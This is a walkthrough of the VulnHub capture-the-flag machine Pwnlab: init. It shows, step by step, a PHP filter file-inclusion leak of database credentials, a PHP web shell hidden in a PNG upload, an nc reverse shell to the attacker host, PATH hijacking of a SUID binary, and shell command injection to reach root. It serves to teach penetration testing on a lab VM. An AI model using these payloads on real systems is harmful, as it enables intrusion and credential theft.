Name : Pwnlab: init
Difficulty : Beginner
Type : boot2root
Source : VulnHub
URL : https://www.vulnhub.com/entry/pwnlab-init,158/
Entry : 9 / 30
Welcome to the walkthrough for Pwnlab: init, a boot2root CTF found on VulnHub. This is the ninth VM in my VulnHub Challenge!
Pwnlab is a lot more involved than the other machines I’ve done up to now. It may be listed as a beginner machine, but I can assure you this one will put you through your paces! Lots of fun though, and definitely on the list of must-try machines in preparation for the OSCP.
Goal
As with most CTFs from VulnHub, the goal is to get the text file which serves as the flag from the /root
directory.
Setup
I’m using VMWare Workstation Player to host Kali and the Pwnlab: init image, with both VMs running in a NAT network. Nothing special about the setup here, so you should be fine using either VirtualBox or VMWare Player.
Discovery
I use netdiscover
to search for the IP address of the target VM:
root@dante:~# netdiscover -r 192.168.127.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.127.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.127.2 00:50:56:e0:ea:a0 1 60 VMware, Inc.
192.168.127.132 00:0c:29:e8:22:bd 1 60 VMware, Inc.
192.168.127.254 00:50:56:e1:17:e5 1 60 VMware, Inc.
So it looks like 192.168.127.132
is our target IP.
Scanning
I’ll start with a quick nmap
scan to look for open ports, then do a second scan that does a deeper dive into the services behind the open ports using the -sC
and -sV
flags:
root@dante:~# nmap 192.168.127.132
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-15 19:35 EDT
Nmap scan report for 192.168.127.132
Host is up (0.00075s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
3306/tcp open mysql
MAC Address: 00:0C:29:E8:22:BD (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.53 seconds
root@dante:~# nmap -sC -sV -p80,111,3306 192.168.127.132
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-15 19:35 EDT
Nmap scan report for 192.168.127.132
Host is up (0.00090s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 36690/tcp status
| 100024 1 42476/tcp6 status
| 100024 1 43227/udp status
|_ 100024 1 53872/udp6 status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 38
| Capabilities flags: 63487
| Some Capabilities: Support41Auth, DontAllowDatabaseTableColumn, FoundRows, Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, LongPassword, InteractiveClient, IgnoreSigpipes, SupportsTransactions, SupportsLoadDataLocal, SupportsCompression, Speaks41ProtocolNew, LongColumnFlag, ODBCClient, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
| Status: Autocommit
| Salt: Oz:NYSw{'K'|aNEN7f~i
|_ Auth Plugin Name: mysql_native_password
MAC Address: 00:0C:29:E8:22:BD (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.00 seconds
Looks like I’m looking at a web infiltration on this machine, since I’m not seeing any SSH, Telnet, or FTP ports open. MySQL being exposed is also interesting, but I’ll try going through the front door first, i.e. see what port 80 gives me.
Web Reconnaissance
As with other VMs, I’m going to start with curl
and see what I can pull down from the main URL:
root@dante:~# curl -v http://192.168.127.132/
* Trying 192.168.127.132:80...
* TCP_NODELAY set
* Connected to 192.168.127.132 (192.168.127.132) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.127.132
> User-Agent: curl/7.65.3
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sun, 15 Sep 2019 23:39:30 GMT
< Server: Apache/2.4.10 (Debian)
< Vary: Accept-Encoding
< Content-Length: 332
< Content-Type: text/html; charset=UTF-8
<
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
Use this server to upload and share image files inside the intranet</center>
</body>
* Connection #0 to host 192.168.127.132 left intact
</html>root@dante:~#
Not a whole lot here. The interesting thing is how the other pages are referenced using a page
query parameter. This is typical in PHP applications, so I’m going to assume this is a PHP app.
To test my theory out, I’m going to run gobuster
and see what comes out when I specify the .php
extension:
root@dante:~# gobuster dir -f -t 50 -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.127.132/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.127.132/
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2019/09/15 19:43:13 Starting gobuster
===============================================================
/icons/ (Status: 403)
/upload/ (Status: 200)
/upload.php (Status: 200)
/images/ (Status: 200)
/index.php (Status: 200)
/config.php (Status: 200)
/login.php (Status: 200)
/server-status/ (Status: 403)
===============================================================
2019/09/15 19:44:01 Finished
===============================================================
Well that was informative! Actually there are two things that stand out to me:
- There is an
/upload.php
and/upload/
entry in the list - There is a
config.php
file, which may contain details like a MySQL password or something.
Looking at the /upload/
path, I can see a nice directory listing (that happens to be empty):
And as for the upload.php
file, I apparently need to be logged in first:
Browsing to /config.php
gives me a blank page, which makes sense since it should be chalked full of configuration variables used by other parts of the site. Since I want to get it’s content, I think about all the different ways to perform Local File Inclusion (LFI) attacks against a PHP application. I turn to my trusty LFI cheat sheet for inspiration.
Note: Some of you may be thinking that I should have gone for a SQL injection attack against the login page, and you’d be right. I actually did try that but I didn’t get anywhere with it. Granted I stayed away from SQLmap, so I’m not sure if that would have worked or not, but I really wanted to see what I could get from this config.php
page instead. It’s rare to see MySQL exposed like this, so I figured my best bet was to go after that application next, and I have faith that config.php
has the info I’m looking for.
config.php
Now I’m a fan of the php://filter
method for LFI, using the convert.base64-encode
to encode the data. It obfuscates it just enough to slip past some basic protections. Since I’m after the config.php
file, I’ll target it:
root@dante:~# curl http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=config | html2text
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 405 100 405 0 0 197k 0 --:--:-- --:--:-- --:--:-- 197k
[images/pwnlab.png]
[ Home ] [ Login ] [ Upload ]
===============================================================================
PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+
root@dante:~# curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=config | html2text | tail -n 1 | base64 -d
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
And there it is! All on the command line and all in one go. Yes I could have decoded this in Burp and whatnot, but I really like my CLI.
Now that I have a repeatable process, I might as well see what the other pages are doing. After all, why stop at just config.php
, when I have login.php
, upload.php
, and index.php
as well! I will have to adjust the number of lines to read via tail
, but that’s a small price to pay.
index.php
curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=index | html2text | tail -n 4 | base64 -d
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
Wow, looks like there are two areas for injection here! The lang
cookie and the page
query parameter. The lang
cookie value is easiest since it doesn’t append any strings afterwards like the page
query parameter does, so this may come in handy later.
login.php
oot@dante:~# curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=login | html2text | tail -n 4 | base64 -d
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) and isset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}
So the login page is using prepared statements, making SQL injection a non-starter. That explains the difficulty I had earlier in trying to do simple SQLi to get in. Oh well, at least I didn’t spend a lot of time on it. Still, it’s interesting to see it relies on the config.php
file I grabbed earlier.
‘upload.php`
root@dante:~# curl -s http://192.168.127.132/?page=php://filter/convert.base64-encode/resource=upload | html2text | tail -n 4 | base64 -d
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])
).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?base64: invalid input
Not perfect output, but good enough. This one is particularly interesting in that it seems to be restricting the types of files that can be uploaded. It checks the file extension as well as the MIME type via the PHP getimagesize
method. This basically means that I can’t upload a PHP web shell with .php.jpg
as the extension and expect it to work.
Alright, now that I have some code, let me turn to the exposed MySQL connection and see what I can get out of it.
MySQL Enumeration
From the config.php
file above, I know the password for root
on MySQL is H4u%QJ_H99
. Let me see what’s available:
root@dante:~# mysql -uroot -p"H4u%QJ_H99" -h 192.168.127.132 Users
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 42
Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [Users]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Users |
+--------------------+
2 rows in set (0.00 sec)
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row in set (0.00 sec)
MySQL [Users]> select * from users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.01 sec)
MySQL [Users]>
So not a lot of extras in the MySQL server. There’s one main database, which has one table, which has encrypted passwords. I’ve copied these usernames and passwords to a CSV file and I wrote a small Python script to decrypt them:
import base64,sys
def decodePass(encoded_passwd):
passwd = base64.b64decode(encoded_passwd)
return passwd
with open(sys.argv[1]) as f:
for line in f:
(user, passwd) = line.split(',')
print "%s: %s" % (user, decodePass(passwd))
I could have also done something like echo <password> | base64 -d
to decode the passwords via the command line, but I like to flex my old programming muscles every so often. Anyways, once I run my code I get the decoded passwords:
root@dante:~/vulnhub/pwnlab# python passwd.py users.txt
kent: JWzXuBJJNy
mike: SIfdsTEn6I
kane: iSv5Ym2GRo
Now that I have the passwords, I can log in and try uploading a web shell.
Web Shell
Now the fun sets in. As I mentioned earlier, the upload.php
file has a few checks to make sure I am actually uploading a file before allowing it to be saved on the server. What this means is I can’t take a standard web shell like /usr/share/webshells/php/simple-backdoor.php
from Kali and rename it to simple-backdoor.php.jpg
and expect it to work.
So what am I going to do? Well, the bare minimum of course! I’ll go to png-pixel.com and download a simple 1x1 pixel PNG, then append my simple-backdoor.php
code to the end of it!
root@dante:~# cat /usr/share/webshells/php/simple-backdoor.php >> 1x1-00000000.png
root@dante:~# cat 1x1-00000000.png
PNG
IHDR
IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
<!-- http://michaeldaw.org 2006 -->
As you can see, the first few bytes are a valid PNG file, it’s just the tail end of the file that happens to be my “malicious” code. Now to see if this uploads:
It works! Well, there was no error displayed, so there’s hope. Now let me check the /upload/
directory to see if I can get the new filename, since upload.php
file will rename it with some MD5 hashed name:
Yes, it is definitely there! Unfortunately clicking on it will not trigger the PHP interpreter, since the MIME type for this is still a PNG file:
However hope is not lost! Remember the index.php
file from earlier? There’s a classic OWASP Injection vulnerability in the lang
cookie parameter! I should be able to craft a simple curl
query using the -b
flag to set the cookie value to the image file I uploaded earlier. This will include the PNG file, along with the PHP web shell I added to the end of it, into the index.php
code, meaning I can pass in query parameters to this URL and run them!
root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://192.168.127.132/index.php?cmd=whoami
PNG
IHDR
IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>www-data
</pre>
It may not be pretty, but it worked! I can see that the Apache server is running as www-data
, which is expected. Now let me see if I can get a foothold on this machine.
Establishing a Foothold
First, let me see if nc
is available:
root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://192.168.127.132/index.php?cmd=which+nc
PNG
IHDR
IDATxcd`0/IENDB`<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->
<pre>/bin/nc
</pre>
Yes, it is available! Awesome, let me setup a listener and then execute a reverse connection using nc
:
root@dante:~# curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://192.168.127.132/index.php?cmd=/bin/nc+-e+/bin/sh+192.168.127.129+9001
root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.127.132.
Ncat: Connection from 192.168.127.132:39649.
python -c "import pty;pty.spawn('/bin/bash')"
www-data@pwnlab:/var/www/html$ export TERM=screen
export TERM=screen
www-data@pwnlab:/var/www/html$
Success. I create a proper TTY session using Python, and export the TERM
variable so I can clear the screen. Now let me go hunting for ways to escalate my privileges.
Escalating Privileges
I’m going to do some light recon before I move on to using scripts like LinEnum.sh
. I’ll start by looking at what users are on the system by looking at the /etc/passwd
file:
root@dante:~# nc -nvlp 9001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.127.132.
Ncat: Connection from 192.168.127.132:39649.
python -c "import pty;pty.spawn('/bin/bash')"
www-data@pwnlab:/var/www/html$ export TERM=screen
export TERM=screen
www-data@pwnlab:/var/www/html$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
john:x:1000:1000:,,,:/home/john:/bin/bash
kent:x:1001:1001:,,,:/home/kent:/bin/bash
mike:x:1002:1002:,,,:/home/mike:/bin/bash
kane:x:1003:1003:,,,:/home/kane:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
So there are a few users on the system, including john
, kent
, mike
, and kane
. From the previous work with MySQL, I have passwords for three of these users. I’ll start in alphabetical order and see if kane
re-used his password:
www-data@pwnlab:/var/www/html$ su kane
su kane
Password: iSv5Ym2GRo
kane@pwnlab:/var/www/html$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ls -al
ls -al
total 36
drwxr-x--- 2 kane kane 4096 Jun 25 11:45 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw------- 1 kane kane 303 Jun 24 21:24 .bash_history
-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc
-rwxr-xr-x 1 kane kane 10 Jun 25 11:45 cat
-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
kane@pwnlab:~$
Success again! It seems there is a /home/kane/msgmike
application that has the SUID bit set to mike
. This is great since I did a quick check on sudo
for kane
, and it did not work. Let me see what this program does exactly, and then use the strings
command to see if there’s anything interesting in it:
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:~$ strings msgmike
strings msgmike
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
QVh[
[^_]
cat /home/mike/msg.txt
;*2$"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
<snip>
...
This is interesting. It seems to call cat
on a file in /home/mike
that doesn’t exist. Looking at the output of the strings
command, I can see that the call to cat
is relative and not absolute. What does that mean? It means I can have this application call whatever cat
file I want, provided I manipulate the path. Let me do just that.
Escalating to mike
I create my own version of cat
in /tmp
and adjust the PATH
variable accordingly before I re-run the msgmike
program:
kane@pwnlab:/tmp$ echo "bash -i" > cat
echo "bash -i" > cat
kane@pwnlab:/tmp$ chmod 755 cat
chmod 755 cat
kane@pwnlab:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
kane@pwnlab:/tmp$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ./msgmike
./msgmike
mike@pwnlab:~$ cd /home/mike
cd /home/mike
mike@pwnlab:/home/mike$ ls -al
ls -al
total 28
drwxr-x--- 2 mike mike 4096 Jun 24 21:36 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root
-rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile
mike@pwnlab:/home/mike$
Excellent! We’re now logged in as mike
! This new user seems to have a similar SUID/SGID program called msg2root
, which feels familiar. I’m going to start with the strings
command first just to see if something jumps out at me:
mike@pwnlab:/home/mike$ strings msg2root
strings msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Message for root:
/bin/echo %s >> /root/messages.txt
;*2$"(
<snip>
...
I see that there’s another one of these command line injections available, but this time it’s a bit different. Previously the cat
command was relative, but here the echo
command is absolute so I can’t use the same trick as before.
Escalating to root
Having said that, you can see that the string taken from the user is blindly injected into the string! The %s
is a variable that substitutes the input from the user. That’s the theory at least, but I’m going to try it. I’ll inject a string like a ; /bin/sh ; #
, which should give a valid value for the echo
command, and then chain the /bin/sh
command afterwards. The #
will comment out the rest of the following command, not that it’s necessary:
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: a ; /bin/sh ; #
a ; /bin/sh ; #
a
# cd /root
cd /root
# ls -al
ls -al
total 20
drwx------ 2 root root 4096 Mar 17 2016 .
drwxr-xr-x 21 root root 4096 Mar 17 2016 ..
lrwxrwxrwx 1 root root 9 Mar 17 2016 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
---------- 1 root root 1840 Mar 17 2016 flag.txt
lrwxrwxrwx 1 root root 9 Mar 17 2016 messages.txt -> /dev/null
lrwxrwxrwx 1 root root 9 Mar 17 2016 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
#
Get The Flag
Success! I’ve escalated to root
. Now let me grab the flag (making sure that I use the absolute path to cat
, or I’ll pick up my hacked one in /tmp/cat
):
# /bin/cat flag.txt
/bin/cat flag.txt
.-=~=-. .-=~=-.
(__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _)
(_ ___) _____ _ (_ ___)
(__ _) / __ \ | | (__ _)
( _ __) | / \/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __)
(__ _) | | / _ \| '_ \ / _` | '__/ _` | __/ __| (__ _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \ (_ ___)
(__ _) \____/\___/|_| |_|\__, |_| \__,_|\__|___/ (__ _)
( _ __) __/ | ( _ __)
(__ _) |___/ (__ _)
(__ _) (__ _)
(_ ___) If you are reading this, means that you have break 'init' (_ ___)
( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __)
(__ _) this challenge. (__ _)
(_ ___) (_ ___)
( _ __) Please send me your feedback or your writeup, I will love ( _ __)
(__ _) reading it (__ _)
(__ _) (__ _)
(__ _) For sniferl4bs.com (__ _)
( _ __) claor@PwnLab.net - @Chronicoder ( _ __)
(__ _) (__ _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-' `-._.-'
Fin.